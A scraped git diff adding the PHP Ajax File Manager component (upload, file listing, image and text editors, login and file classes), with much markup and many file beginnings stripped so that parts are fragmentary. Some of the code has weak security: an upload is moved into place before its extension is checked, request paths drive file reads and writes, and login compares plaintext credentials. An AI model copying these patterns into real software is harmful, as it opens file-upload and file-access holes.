sprintf(ERR_UNABLE_TO_MOVE_TO_SAME_DEST, $v) . "\r\n"; + } + } + } + + echo "{'error':'" . $error . "', 'unmoved_files':" . sizeof($unmovedDocDueToSamePath) . ", 'files':{"; + foreach($fileMoved as $i=>$file) + { + + echo ($i>0?', ':' ') . $i . ": { "; + $j = 0; + foreach($file as $k=>$v) + { + echo ($j++ > 0? ", ":'') . "'" . $k . "':'" . $v . "'"; + + } + echo "} "; + } + echo "} }"; + +?> diff --git a/BO/ajaxfilemanager/ajax_file_upload.php b/BO/ajaxfilemanager/ajax_file_upload.php new file mode 100755 index 0000000..309490e --- /dev/null +++ b/BO/ajaxfilemanager/ajax_file_upload.php @@ -0,0 +1,91 @@ +setInvalidFileExt(explode(",", CONFIG_UPLOAD_INVALID_EXTS)); + if(CONFIG_SYS_VIEW_ONLY || !CONFIG_OPTIONS_UPLOAD) + { + $error = SYS_DISABLED; + } + elseif(empty($_GET['folder']) || !isUnderRoot($_GET['folder'])) + { + $error = ERR_FOLDER_PATH_NOT_ALLOWED; + }else if(!$upload->isFileUploaded('file')) + { + $error = ERR_FILE_NOT_UPLOADED; + }else if(!$upload->moveUploadedFile($_GET['folder'])) + { + $error = ERR_FILE_MOVE_FAILED; + } + elseif(!$upload->isPermittedFileExt(explode(",", CONFIG_UPLOAD_VALID_EXTS))) + { + $error = ERR_FILE_TYPE_NOT_ALLOWED; + }elseif(defined('CONFIG_UPLOAD_MAXSIZE') && CONFIG_UPLOAD_MAXSIZE && $upload->isSizeTooBig(CONFIG_UPLOAD_MAXSIZE)) + { + $error = sprintf(ERROR_FILE_TOO_BID, transformFileSize(CONFIG_UPLOAD_MAXSIZE)); + }else + { + include_once(CLASS_FILE); + $path = $upload->getFilePath(); + $obj = new file($path); + $tem = $obj->getFileInfo(); + if(sizeof($tem)) + { + include_once(CLASS_MANAGER); + + $manager = new manager($upload->getFilePath(), false); + + $fileType = $manager->getFileType($upload->getFileName()); + + foreach($fileType as $k=>$v) + { + $tem[$k] = $v; + } + + $tem['path'] = backslashToSlash($path); + $tem['type'] = "file"; + $tem['size'] = transformFileSize($tem['size']); + $tem['ctime'] = date(DATE_TIME_FORMAT, $tem['ctime']); + $tem['mtime'] = date(DATE_TIME_FORMAT, $tem['mtime']); + $tem['short_name'] = shortenFileName($tem['name']); + $tem['flag'] = 'noFlag'; + $obj->close(); + foreach($tem as $k=>$v) + { + $info .= sprintf(", %s:'%s'", $k, $v); + } + + $info .= sprintf(", url:'%s'", getFileUrl($path)); + $info .= sprintf(", tipedit:'%s'", TIP_DOC_RENAME); + + + }else + { + $error = ERR_FILE_NOT_AVAILABLE; + } + + + } + echo "error:'" . $error . "'"; + echo $info; + echo "}"; + +?> \ No newline at end of file diff --git a/BO/ajaxfilemanager/ajax_get_file_listing.php b/BO/ajaxfilemanager/ajax_get_file_listing.php new file mode 100755 index 0000000..ad5d01d --- /dev/null +++ b/BO/ajaxfilemanager/ajax_get_file_listing.php @@ -0,0 +1,141 @@ +addSearchKeyword('recursive', @$_GET['search_recursively']); + $search->addSearchKeyword('mtime_from', @$_GET['search_mtime_from']); + $search->addSearchKeyword('mtime_to', @$_GET['search_mtime_to']); + $search->addSearchKeyword('size_from', @$_GET['search_size_from']); + $search->addSearchKeyword('size_to', @$_GET['search_size_to']); + $search->addSearchKeyword('recursive', @$_GET['search_recursively']); + $search->addSearchKeyword('name', @$_GET['search_name']); + $search->doSearch(); + $fileList = $search->getFoundFiles(); + $folderInfo = $search->getRootFolderInfo(); + + }else + { + include_once(CLASS_MANAGER); + include_once(CLASS_SESSION_ACTION); + $sessionAction = new SessionAction(); + include_once(DIR_AJAX_INC . "class.manager.php"); + + $manager = new manager(); + $manager->setSessionAction($sessionAction); + + $fileList = $manager->getFileList(); + $folderInfo = $manager->getFolderInfo(); + + } + $pagination->setUrl(CONFIG_URL_FILEnIMAGE_MANAGER); + + }else + { + include_once(CLASS_PAGINATION); + $pagination = new pagination(false); + } + + + $pagination->setTotal(sizeof($fileList)); + $pagination->setFirstText(PAGINATION_FIRST); + $pagination->setPreviousText(PAGINATION_PREVIOUS); + $pagination->setNextText(PAGINATION_NEXT); + $pagination->setLastText(PAGINATION_LAST); + $pagination->setLimit(!empty($_GET['limit'])?(int)($_GET['limit']):CONFIG_DEFAULT_PAGINATION_LIMIT); + echo $pagination->getPaginationHTML(); + echo "\n"; + if(!empty($_GET['view'])) + { + switch($_GET['view']) + { + case 'detail': + case 'thumbnail': + case 'text': + $view = $_GET['view']; + break; + default: + $view = CONFIG_DEFAULT_VIEW; + } + }else + { + $view = CONFIG_DEFAULT_VIEW; + } + switch($view) + { + case 'text': + //list file name only + include_once(DIR_AJAX_ROOT . '_ajax_get_text_listing.php'); + break; + case 'thumbnail': + //list file with thumbnail + include_once(DIR_AJAX_ROOT . '_ajax_get_thumbnail_listing.php'); + break; + case 'detail': + default: + include_once(DIR_AJAX_ROOT . '_ajax_get_details_listing.php'); + } + + + +?> \ No newline at end of file diff --git a/BO/ajaxfilemanager/ajax_get_folder_listing.php b/BO/ajaxfilemanager/ajax_get_folder_listing.php new file mode 100755 index 0000000..978aa95 --- /dev/null +++ b/BO/ajaxfilemanager/ajax_get_folder_listing.php @@ -0,0 +1,17 @@ +$v) + { + + + echo (($count > 1)?', ':''). "'" . $v . "':'" . $k . "'"; + $count++; + } + echo "}"; +?> diff --git a/BO/ajaxfilemanager/ajax_image_editor.php b/BO/ajaxfilemanager/ajax_image_editor.php new file mode 100755 index 0000000..71f4231 --- /dev/null +++ b/BO/ajaxfilemanager/ajax_image_editor.php @@ -0,0 +1,212 @@ +gc(); + $_GET['path'] = empty($_GET['path'])?CONFIG_SYS_ROOT_PATH . "ajax_image_editor_demo.jpg":$_GET['path']; + if(!empty($_GET['path']) && file_exists($_GET['path']) && is_file($_GET['path']) && isUnderRoot($_GET['path'])) + { + $path = $_GET['path']; + }else + { + die(IMG_GEN_IMG_NOT_EXISTS); + } + require_once(CLASS_HISTORY); + $history = new History($path, $session); + if(CONFIG_SYS_DEMO_ENABLE) + { + $sessionImageInfo = $history->getLastestRestorable(); + $originalSessionImageInfo = $history->getOriginalImage(); + if(sizeof($originalSessionImageInfo)) + { + $path = backslashToSlash($session->getSessionDir() . $originalSessionImageInfo['info']['name']); + } + } + require_once(dirname(__FILE__) . DIRECTORY_SEPARATOR . "inc" . DIRECTORY_SEPARATOR . "class.image.php"); + $image = new Image(); + + $imageInfo = $image->getImageInfo($path); + + ?> + + + + + + + + + + + + + + + + + + +Ajax Image Editor + + + +
+
+ Modes +
+ + +

+ + + + + + + + + + + + + + +

+
+
+
+ +
+

+ + + + + + + + + + + + +

+
+
+
+
+
+ +
+
+
+
+
+
+
+
+
+
+ +
+
+
+
+ + + diff --git a/BO/ajaxfilemanager/ajax_image_save.php b/BO/ajaxfilemanager/ajax_image_save.php new file mode 100755 index 0000000..7f89ffd --- /dev/null +++ b/BO/ajaxfilemanager/ajax_image_save.php @@ -0,0 +1,198 @@ +getSessionDir()) == '') + { + $error = SESSION_PERSONAL_DIR_NOT_FOUND; + } + else + { + require_once(CLASS_HISTORY); + $history = new History($_POST['path'], $session); + if(!empty($_POST['mode'])) + { + //get the original image which is the lastest session image if any when the system is in demo + $lastestSessionImageInfo = $history->getLastestRestorable(); + if(sizeof($lastestSessionImageInfo) && CONFIG_SYS_DEMO_ENABLE) + { + $originalSessionImageInfo = $history->getOriginalImage(); + if(sizeof($originalSessionImageInfo)) + { + $originalImage = $sessionDir . $originalSessionImageInfo['info']['name']; + } + } + if(empty($originalImage)) + { + $originalImage = $_POST['path']; + } + + include_once(CLASS_IMAGE); + $image = new Image(); + if($image->loadImage($originalImage)) + { + + switch($_POST['mode']) + { + case "resize": + if(!$image->resize($_POST['width'], $_POST['height'], (!empty($_POST['constraint'])?true:false))) + { + $error = IMG_SAVE_RESIZE_FAILED; + } + break; + case "crop": + if(!$image->crop($_POST['x'], $_POST['y'], $_POST['width'], $_POST['height'])) + { + $error = IMG_SAVE_CROP_FAILED; + } + break; + case "flip": + if(!$image->flip($_POST['flip_angle'])) + { + $error = IMG_SAVE_FLIP_FAILED; + } + break; + case "rotate": + + if(!$image->rotate((int)($_POST['angle']))) + { + $error = IMG_SAVE_ROTATE_FAILED; + } + + break; + default: + $error = IMG_SAVE_UNKNOWN_MODE; + } + + + if(empty($error)) + { + $sessionNewPath = $sessionDir . uniqid(md5(time())) . "." . getFileExt($_POST['path']); + if(!@copy($originalImage, $sessionNewPath)) + {//keep a copy under the session folder + $error = IMG_SAVE_BACKUP_FAILED; + }else + { + + $isSaveAsRequest = (!empty($_POST['new_name']) && !empty($_POST['save_to'])?true:false); + //save the modified image + $sessionImageInfo = array('name'=>basename($sessionNewPath), 'restorable'=>1); + $history->add($sessionImageInfo); + if(CONFIG_SYS_DEMO_ENABLE) + {//demo only + if(isset($originalSessionImageInfo) && sizeof($originalSessionImageInfo)) + { + $imagePath = $sessionDir . $originalSessionImageInfo['info']['name']; + }else + { + $imagePath = $sessionDir . uniqid(md5(time())) . "." . getFileExt($_POST['path']); + } + }else + { + if($isSaveAsRequest) + {//save as request + //check save to folder if exists + $imagePath = addTrailingSlash(backslashToSlash($_POST['save_to'])) . $_POST['new_name'] . "." . getFileExt($_POST['path']); + if(!file_exists($_POST['save_to']) || !is_dir($_POST['save_to'])) + { + $error = IMG_SAVE_AS_FOLDER_NOT_FOUND; + }elseif(file_exists($imagePath)) + { + $error = IMG_SAVE_AS_NEW_IMAGE_EXISTS; + }elseif(!preg_match("/^[a-zA-Z0-9_\- ]+$/", $_POST['new_name'])) + { + $error = IMG_SAVE_AS_ERR_NAME_INVALID; + } + + }else + {//save request + $imagePath = $originalImage; + } + + } + + if($image->saveImage($imagePath)) + { + + if(CONFIG_SYS_DEMO_ENABLE) + { + if(!isset($originalSessionImageInfo) || !sizeof($originalSessionImageInfo)) + {//keep this original image information on session for future reference if demo only + $originalSessionImageInfo = array('name'=>basename($imagePath), 'restorable'=>0, 'is_original'=>1); + $history->add($originalSessionImageInfo); + } + } + $imageInfo = $image->getFinalImageInfo(); + }else + { + $error = IMG_SAVE_FAILED; + + } + if(isset($imageInfo)) + { + $info .= ",width:" . $imageInfo['width'] . ""; + $info .= ",height:" . $imageInfo['height'] . ""; + $info .= ",size:'" . transformFileSize($imageInfo['size']) . "'"; + if($isSaveAsRequest) + { + $info .= ",save_as:'1'"; + }else + { + $info .= ",save_as:'0'"; + } + $info .= ",folder_path:'" . dirname($imagePath) . "'"; + $info .= ",path:'" . backslashToSlash($imagePath) . "'"; + + } + + } + + } + }else + { + $error = IMG_SAVE_IMG_OPEN_FAILED; + } + + }else + { + $error = IMG_SAVE_UNKNOWN_MODE; + } + } + echo "{"; + echo "error:'" . $error . "'"; + if(isset($image) && is_object($image)) + { + $image->DestroyImages(); + } + echo $info; + echo ",history:" . (isset($history) && is_object($history)?($history->getNumRestorable()):0) . ""; + echo "}"; + + +?> \ No newline at end of file diff --git a/BO/ajaxfilemanager/ajax_image_thumbnail.php b/BO/ajaxfilemanager/ajax_image_thumbnail.php new file mode 100755 index 0000000..649409f --- /dev/null +++ b/BO/ajaxfilemanager/ajax_image_thumbnail.php @@ -0,0 +1,37 @@ +loadImage($_GET['path'])) + { + if($image->resize(CONFIG_IMG_THUMBNAIL_MAX_X, CONFIG_IMG_THUMBNAIL_MAX_Y, true, true)) + { + $image->showImage(); + }else + { + echo PREVIEW_NOT_PREVIEW . "."; + } + }else + { + echo PREVIEW_NOT_PREVIEW . ".."; + } + + + }else + { + echo PREVIEW_NOT_PREVIEW . "..."; + } + diff --git a/BO/ajaxfilemanager/ajax_image_undo.php b/BO/ajaxfilemanager/ajax_image_undo.php new file mode 100755 index 0000000..f804892 --- /dev/null +++ b/BO/ajaxfilemanager/ajax_image_undo.php @@ -0,0 +1,98 @@ +getLastestRestorable(); + echo "{"; + $error = ""; + $info = ""; + if(CONFIG_SYS_VIEW_ONLY) + { + $error = SYS_DISABLED; + } + elseif(empty($_POST['file_path'])) + { + $error = IMG_SAVE_EMPTY_PATH; + }elseif(!file_exists($_POST['file_path'])) + { + $error = IMG_SAVE_NOT_EXISTS; + }elseif(!isUnderRoot($_POST['file_path'])) + { + $error = IMG_SAVE_PATH_DISALLOWED; + }else if(!sizeof($lastestSessionImageInfo)) + { + $error = IMG_UNDO_NO_HISTORY_AVAIALBE; + } + else + { + //get the original image which is the lastest session image if any when the system is in demo + $sessionImage = $session->getSessionDir() . $lastestSessionImageInfo['name']; + $originalSessionImageInfo = $history->getOriginalImage(); + if(CONFIG_SYS_DEMO_ENABLE && sizeof($originalSessionImageInfo)) + { + $originalImage = $session->getSessionDir() . $originalSessionImageInfo['info']['name']; + }else + { + $originalImage = $_POST['file_path']; + } + + include_once(CLASS_IMAGE); + $image = new Image(); + if($image->loadImage($sessionImage)) + { + $imageInfo = $image->getOriginalImageInfo(); + if(!@copy($sessionImage, $originalImage)) + { + $error = IMG_UNDO_COPY_FAILED; + }else + { + + //remove the session image + if(@unlink($sessionImage)) + { + $history->restore(); + } + //only one left, remove the session original if demo + + if($history->getNumRestorable() == 0 && CONFIG_SYS_DEMO_ENABLE && sizeof($originalSessionImageInfo)) + { + @unlink($session->getSessionDir() . $originalSessionImageInfo['info']['name']); + $originalImage = $_POST['file_path']; + } + } + $imagePath = $originalImage; + + }else + { + $error = IMG_SAVE_IMG_OPEN_FAILED; + } + if(isset($imageInfo)) + { + $info .= ",width:" . $imageInfo['width'] . "\n"; + $info .= ",height:" . $imageInfo['height'] . "\n"; + $info .= ",size:'" . transformFileSize($imageInfo['size']) . "'\n"; + $info .= ",path:'" . backslashToSlash($imagePath) . "'\n"; + } + + } + + echo "error:'" . $error . "'\n"; + if(isset($image) && is_object($image)) + { + $image->DestroyImages(); + } + echo $info; + echo ",history:" . ($history->getNumRestorable()) . "\n"; + echo "}"; +?> \ No newline at end of file diff --git a/BO/ajaxfilemanager/ajax_login.php b/BO/ajaxfilemanager/ajax_login.php new file mode 100755 index 0000000..2f07dc7 --- /dev/null +++ b/BO/ajaxfilemanager/ajax_login.php @@ -0,0 +1,69 @@ +login()) + { + header('Location: ' . appendQueryString(CONFIG_URL_HOME, makeQueryString())); + exit; + } + } +}else{ + $_SESSION['ajax_user'] = true; + header('Location: ' . appendQueryString(CONFIG_URL_HOME, makeQueryString())); + exit; +} +?> + + + + + +<?php echo LOGIN_PAGE_TITLE; ?> + + +
+
+
+ + + + + + + + + + + + + + + + + + + + + + +
 
+
+
+
+ + diff --git a/BO/ajaxfilemanager/ajax_preview.php b/BO/ajaxfilemanager/ajax_preview.php new file mode 100755 index 0000000..3adb582 --- /dev/null +++ b/BO/ajaxfilemanager/ajax_preview.php @@ -0,0 +1,62 @@ +getFileType(basename($_GET['path'])); + if($fileTypes['preview']) + { + switch($fileTypes['fileType']) + { + case "image": + $imageInfo = @getimagesize($_GET['path']); + if(!empty($imageInfo[0]) && !empty($imageInfo[1])) + { + $thumInfo = getThumbWidthHeight($imageInfo[0], $imageInfo[1], 400, 135); + printf("", getFileUrl($_GET['path']), $thumInfo['width'], $thumInfo['height']); + + }else + { + echo PREVIEW_IMAGE_LOAD_FAILED; + } + + break; + case "txt": + if(($fp = @fopen($_GET['path'], 'r'))) + { + echo @fread($fp, @filesize($_GET['path'])); + @fclose($fp); + }else + { + echo PREVIEW_OPEN_FAILED . "."; + } + break; + + case "video": + break; + } + }else + { + echo PREVIEW_NOT_PREVIEW . ".."; + } + + }else + { + echo PREVIEW_NOT_PREVIEW . "..."; + } + +?> \ No newline at end of file diff --git a/BO/ajaxfilemanager/ajax_save_as_form.php b/BO/ajaxfilemanager/ajax_save_as_form.php new file mode 100755 index 0000000..97f67a1 --- /dev/null +++ b/BO/ajaxfilemanager/ajax_save_as_form.php @@ -0,0 +1,61 @@ + + + + + +Untitled Document + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + +
+ + + +
  + + * + +
 
+ + diff --git a/BO/ajaxfilemanager/ajax_save_name.php b/BO/ajaxfilemanager/ajax_save_name.php new file mode 100755 index 0000000..707d259 --- /dev/null +++ b/BO/ajaxfilemanager/ajax_save_name.php @@ -0,0 +1,83 @@ +get(); + if(removeTrailingSlash($sessionAction->getFolder()) == getParentPath($_POST['original_path']) && sizeof($selectedDocuments)) + { + if(($key = array_search(basename($_POST['original_path']), $selectedDocuments)) !== false) + { + $selectedDocuments[$key] = $_POST['name']; + $sessionAction->set($selectedDocuments); + + } + + }elseif(removeTrailingSlash($sessionAction->getFolder()) == removeTrailingSlash($_POST['original_path'])) + { + $sessionAction->setFolder($_POST['original_path']); + } + $path = addTrailingSlash(getParentPath($_POST['original_path'])) . $_POST['name']; + if(is_file($path)) + { + include_once(CLASS_FILE); + $file = new file($path); + $fileInfo = $file->getFileInfo(); + }else + { + include_once(CLASS_MANAGER); + $manager = new manager($path, false); + $fileInfo = $manager->getFolderInfo(); + } + } + + echo "{"; + echo "error:'" . $error . "' "; + foreach ($fileInfo as $k=>$v) + { + echo "," . $k . ":'" . $v . "' "; + } + echo "}"; + + +?> \ No newline at end of file diff --git a/BO/ajaxfilemanager/ajax_save_text.php b/BO/ajaxfilemanager/ajax_save_text.php new file mode 100755 index 0000000..8e63831 --- /dev/null +++ b/BO/ajaxfilemanager/ajax_save_text.php @@ -0,0 +1,92 @@ + diff --git a/BO/ajaxfilemanager/ajax_text_editor.php b/BO/ajaxfilemanager/ajax_text_editor.php new file mode 100755 index 0000000..0a6d61b --- /dev/null +++ b/BO/ajaxfilemanager/ajax_text_editor.php @@ -0,0 +1,170 @@ +gc(); + $_GET['path'] = empty($_GET['path'])?CONFIG_SYS_ROOT_PATH . "ajax_image_editor_demo.jpg":$_GET['path']; + if(!empty($_GET['path']) && file_exists($_GET['path']) && is_file($_GET['path']) && isUnderRoot($_GET['path'])) + { + $path = $_GET['path']; + }else + { + die(TXT_FILE_NOT_FOUND); + } + if(file_exists(DIR_AJAX_EDIT_AREA . "reg_syntax" . DIRECTORY_SEPARATOR . getFileExt($path) . ".js")) + { + $syntax = getFileExt($path); + }else + { + switch (getFileExt($path)) + { + case 'htm': + $syntax = 'html'; + break; + default: + $syntax = 'basic'; + } + } + if(array_search(getFileExt($path), getValidTextEditorExts())=== false) + { + die(TXT_DISALLOWED_EXT); + } + ?> + + + + + + + + + + + + + +Ajax Text Editor + + + +
+ +
+
+ + + + diff --git a/BO/ajaxfilemanager/ajaxfilemanager.php b/BO/ajaxfilemanager/ajaxfilemanager.php new file mode 100755 index 0000000..f429864 --- /dev/null +++ b/BO/ajaxfilemanager/ajaxfilemanager.php @@ -0,0 +1,691 @@ +gc(); + require_once(CLASS_SESSION_ACTION); + $sessionAction = new SessionAction(); + if(CONFIG_LOAD_DOC_LATTER) + { + $fileList = array(); + $folderInfo = array('path'=>getCurrentFolderPath()); + }else + { + require_once(CLASS_MANAGER); + + + $manager = new manager(); + $manager->setSessionAction($sessionAction); + $fileList = $manager->getFileList(); + $folderInfo = $manager->getFolderInfo(); + } + if(CONFIG_SYS_THUMBNAIL_VIEW_ENABLE) + { + $views = array( + 'detail'=>LBL_BTN_VIEW_DETAILS, + 'thumbnail'=>LBL_BTN_VIEW_THUMBNAIL, + ); + }else + { + $views = array( + 'detail'=>LBL_BTN_VIEW_DETAILS, + ); + } + + if(!empty($_GET['view'])) + { + switch($_GET['view']) + { + case 'detail': + case 'thumbnail': + $view = $_GET['view']; + break; + default: + $view = CONFIG_DEFAULT_VIEW; + } + }else + { + $view = CONFIG_DEFAULT_VIEW; + } + +?> + + + + +Ajax File Manager + + + + + + + + + + + + +
+ + +
+ + +
+ + + +
+ +
+ + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
  
+
+ + + + +
+ + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + + + +
+
+ +   + +
+    + /> + /> +
+ + + + +

+ + + + + +

+
+ +
+ +
+
+ + +
+
+ + + + + + + + + + + + \ No newline at end of file diff --git a/BO/ajaxfilemanager/debug.html b/BO/ajaxfilemanager/debug.html new file mode 100755 index 0000000..e69de29 diff --git a/BO/ajaxfilemanager/inc/class.auth.php b/BO/ajaxfilemanager/inc/class.auth.php new file mode 100755 index 0000000..1978c13 --- /dev/null +++ b/BO/ajaxfilemanager/inc/class.auth.php @@ -0,0 +1,48 @@ +__construct(); + } + /** + * check if the user has logged + * + * @return boolean + */ + function isLoggedIn() + { + return (!empty($_SESSION[$this->__loginIndexInSession])?true:false); + } + /** + * validate the username & password + * @return boolean + * + */ + function login() + { + if($_POST['username'] == CONFIG_LOGIN_USERNAME && $_POST['password'] == CONFIG_LOGIN_PASSWORD) + { + $_SESSION[$this->__loginIndexInSession] = true; + return true; + }else + { + return false; + } + } + } +?> \ No newline at end of file diff --git a/BO/ajaxfilemanager/inc/class.file.php b/BO/ajaxfilemanager/inc/class.file.php new file mode 100755 index 0000000..85512eb --- /dev/null +++ b/BO/ajaxfilemanager/inc/class.file.php @@ -0,0 +1,436 @@ +filePath = $path; + if(is_file($this->filePath)) + { + $this->fileStat = @stat($path); + $this->fileInfo['size'] = $this->fileStat[7]; + $this->fileInfo['atime'] = $this->fileStat[8]; + $this->fileInfo['ctime'] = $this->fileStat[10]; + $this->fileInfo['mtime'] = $this->fileStat[9]; + $this->fileInfo['path'] = $path; + $this->fileInfo['name'] = basename($path); + $this->fileInfo['is_writable'] = $this->isWritable(); + $this->fileInfo['is_readable'] = $this->isReadable(); + }elseif(is_dir($this->filePath)) + { + $this->fileStat = @stat($path); + $this->fileInfo['name'] = basename($path); + $this->fileInfo['path'] = $path; + $this->fileInfo['atime'] = $this->fileStat[8]; + $this->fileInfo['ctime'] = $this->fileStat[10]; + $this->fileInfo['mtime'] = $this->fileStat[9]; + $this->fileInfo['is_writable'] = $this->isWritable(); + $this->fileInfo['is_readable'] = $this->isReadable(); + } + }else + { + trigger_error('No such file exists. ' . $path, E_USER_NOTICE); + } + } + + + + } + /** + * contructor + * + * @param string $path + */ + function file($path=null) + { + $this->__construct($path); + } + + + /** + * check if a file or folder writable + * + * @param file path $path + * @return boolean + */ + function isWritable($path=null) + { + $path = (is_null($path)?$this->filePath:$path); + if (DIRECTORY_SEPARATOR == "\\") + { + $path = slashToBackslash($path); + if(is_file($path)) + { + $fp = @fopen($path,'ab'); + if($fp) + { + @fclose($fp); + return true; + } + }elseif(is_dir($path)) + { + $path = addTrailingSlash($path); + $tmp = uniqid(time()); + if (@touch($path . $tmp)) + { + @unlink($path . $tmp); + return true; + } + } + return false; + }else + { + return @is_writable(slashToBackslash($path)); + } + + } + /** + * Returns true if the files is readable. + * + * @return boolean true if the files is readable. + */ + function isReadable($path =null) + { + $path = is_null($path)?$this->filePath:$path; + return @is_readable(slashToBackslash($path)); + } + /** + * change the modified time + * + * @param string $path + * @param string $time + * @return boolean + */ + function setLastModified($path=null, $time) + { + $path = is_null($path)?$this->filePath:$path; + $time = is_null($time)?time():$time; + return @touch(slashToBackslash($path), $time); + } + + /** + * create a new folder + * + * @path the path for the new folder + * @mask + * @dirOwner + * @return boolean + */ + function mkdir($path = null, $mask=null, $dirOwner='') + { + $path = is_null($path)?$this->filePath:$path; + if(!file_exists($path)) + { + $mask = is_null($mask)?$this->mask:$mask; + $status = @mkdir(slashToBackslash($path)); + if ($mask) + { + @chmod(slashToBackslash($path), intval($mask, 8)); + } + if($dirOwner) + { + $this->chown(slashToBackslash($path), $dirOwner); + } + return $status; + } + return true; + + } + /** + * change the own of a file or folder + * + * @param the file path $path + * @param $owner + */ + function chown($path, $owner) + { + if(!empty($owner)) + { + $owners = explode(":", $owner); + if(!empty($owners[0])) + @chown($path, $owners[0]); + if(!empty($owners[1])) + @chgrp($path, $owner[1]); + } + } + + /** + * Copy a file, or recursively copy a folder and its contents + * @author Aidan Lister + * @author Paul Scott + * @version 1.0.1 + * @param string $source Source path + * @param string $dest Destination path + * @return bool Returns TRUE on success, FALSE on failure + */ + function copyTo($source, $dest) + { + $source = removeTrailingSlash(backslashToSlash($source)); + $dest = removeTrailingSlash(backslashToSlash($dest)); + if(!file_exists($dest) || !is_dir($dest)) + { + if(!$this->mkdir($dest)) + { + $this->_debug('Unable to create folder (' . $dest . ")"); + return false; + } + } + // Copy in to your self? + if (getAbsPath($source) == getAbsPath($dest)) + { + $this->_debug('Unable to copy itself. source: ' . getAbsPath($source) . "; dest: " . getAbsPath($dest)); + return false; + } + // Simple copy for a file + if (is_file($source)) + { + $dest = addTrailingSlash($dest) . (basename($source)); + if(file_exists($dest)) + { + return false; + }else { + + return copy($source, $dest); + } + + + }elseif(is_dir($source)) + { + // Loop through the folder + if(file_exists(addTrailingSlash($dest) . basename($source))) + { + return false; + }else + { + if(!file_exists(addTrailingSlash($dest) . basename($source)) || !is_dir(addTrailingSlash($dest) . basename($source))) + { + if(!$this->mkdir(addTrailingSlash($dest) . basename($source))) + { + $this->_debug('Unable to create folder (' . addTrailingSlash($dest) . basename($source) . ")"); + return false; + } + } + $handle = opendir($source); + while(false !== ($readdir = readdir($handle))) + { + if($readdir != '.' && $readdir != '..') + { + $path = addTrailingSlash($source).'/'.$readdir; + $this->copyTo($path, addTrailingSlash($dest) . basename($source)); + } + } + closedir($handle); + return true; + } + + } + return false; + } + /** + * get next available file name + * + * @param string $fileToMove the path of the file will be moved to + * @param string $destFolder the path of destination folder + * @return string + */ + function getNextAvailableFileName($fileToMove, $destFolder) + { + + $folderPath = addslashes(backslashToSlash(getParentPath($fileToMove))); + $destFolder = addslashes(backslashToSlash(getParentPath($destFolder))); + $finalPath = $destFolder . basename($fileToMove); + if(file_exists($fileToMove)) + { + if(is_file()) + { + $fileExt = getFileExt($fileToMove); + $fileBaseName = basename($fileToMove, '.' . $fileExt); + $count = 1; + while(file_exists($destFolder . $fileBaseName . $count . "." . $fileExt)) + { + $count++; + } + $filePath = $destFolder . $fileBaseName . $count . "." . $fileExt; + }elseif(is_dir()) + { + $folderName = basename($fileToMove); + $count = 1; + while(file_exists($destFolder . $folderName . $count)) + { + $count++; + } + $filePath = $destFolder . $fileBaseName . $count; + } + + } + return $finalPath; + } + /** + * get file information + * + * @return array + */ + function getFileInfo() + { + return $this->fileInfo; + } + /** + * close + * + */ + function close() + { + $this->fileInfo = null; + $this->fileStat = null; + } + /** + * delete a file or a folder and all contents within that folder + * + * @param string $path + * @return boolean + */ + function delete($path = null) + { + $path = is_null($path)?$this->filePath:$path; + if(file_exists($path)) + { + if(is_file($path)) + { + return @unlink($path); + }elseif(is_dir($path)) + { + return $this->__recursive_remove_directory($path); + } + + } + return false; + } + /** + * empty a folder + * + * @param string $path + * @return boolean + */ + function emptyFolder($path) + { + $path = is_null($path)?$this->filePath:""; + if(file_exists($path) && is_dir($path)) + { + return $this->__recursive_remove_directory($path, true); + } + return false; + } + + function _debug($info) + { + if($this->debug) + { + echo $info . "
\n"; + }else + { + $this->errors[] = $info; + } + } +/** + * recursive_remove_directory( directory to delete, empty ) + * expects path to directory and optional TRUE / FALSE to empty + * of course PHP has to have the rights to delete the directory + * you specify and all files and folders inside the directory + * + * to use this function to totally remove a directory, write: + * recursive_remove_directory('path/to/directory/to/delete'); + * to use this function to empty a directory, write: + * recursive_remove_directory('path/to/full_directory',TRUE); + * @param string $directory + * @param boolean $empty + * @return boolean + */ + function __recursive_remove_directory($directory, $empty=FALSE) + { + // if the path has a slash at the end we remove it here + if(substr($directory,-1) == '/') + { + $directory = substr($directory,0,-1); + } + + // if the path is not valid or is not a directory ... + if(!file_exists($directory) || !is_dir($directory)) + { + // ... we return false and exit the function + return FALSE; + + // ... if the path is not readable + }elseif(!is_readable($directory)) + { + // ... we return false and exit the function + return FALSE; + + // ... else if the path is readable + }else{ + + // we open the directory + $handle = @opendir($directory); + + // and scan through the items inside + while (FALSE !== ($item = @readdir($handle))) + { + // if the filepointer is not the current directory + // or the parent directory + if($item != '.' && $item != '..') + { + // we build the new path to delete + $path = $directory.'/'.$item; + + // if the new path is a directory + if(is_dir($path)) { + // we call this function with the new path + $this->__recursive_remove_directory($path); + + // if the new path is a file + }else{ + // we remove the file + @unlink($path); + } + } + } + // close the directory + @closedir($handle); + + // if the option to empty is not set to true + if($empty == FALSE) + { + // try to delete the now empty directory + if(!@rmdir($directory)) + { + // return false if not possible + return FALSE; + } + } + // return success + return TRUE; + } + } + } + +?> diff --git a/BO/ajaxfilemanager/inc/class.history.php b/BO/ajaxfilemanager/inc/class.history.php new file mode 100755 index 0000000..f209c21 --- /dev/null +++ b/BO/ajaxfilemanager/inc/class.history.php @@ -0,0 +1,155 @@ +path = $path; + $this->session = &$session; + if(!isset($_SESSION[$this->path])) + { + $_SESSION[$this->path] = array(); + } + + } + /** + * constructor + * + * @param string $path the path to the image + * @param object $session an instance of session class + */ + function History($path, &$session) + { + $this->__construct($path, $session); + } + + /** + * keep tracks of each changes made to an image + * + * @param string $key + * @param string $info array('name', 'restorable', 'is_original') + */ + function add($info) + { + $_SESSION[$this->path][] = $info; + } + /** + * get the lastest changes for restore + * + * @return array array('name', 'restorable', 'is_original') + */ + function getNumRestorable() + { + $output = 0; + if(isset($_SESSION[$this->path]) && is_array($_SESSION[$this->path])) + { + foreach($_SESSION[$this->path] as $k=>$v) + { + if(!empty($v['restorable']) && empty($v['is_original'])) + { + if(file_exists($this->session->getSessionDir() . $v['name'])) + { + $output++; + }else + { + + } + + } + } + } + return $output; + } + + /** + * get the path of image which keep the lastest changes + * + * @return return empty array when failed + */ + function getLastestRestorable() + { + if(isset($_SESSION[$this->path]) && is_array($_SESSION[$this->path]) && sizeof($_SESSION[$this->path])) + { + $sessionImages = array_reverse($_SESSION[$this->path], true); + $lastestKey = ''; + foreach($sessionImages as $k=>$v) + { 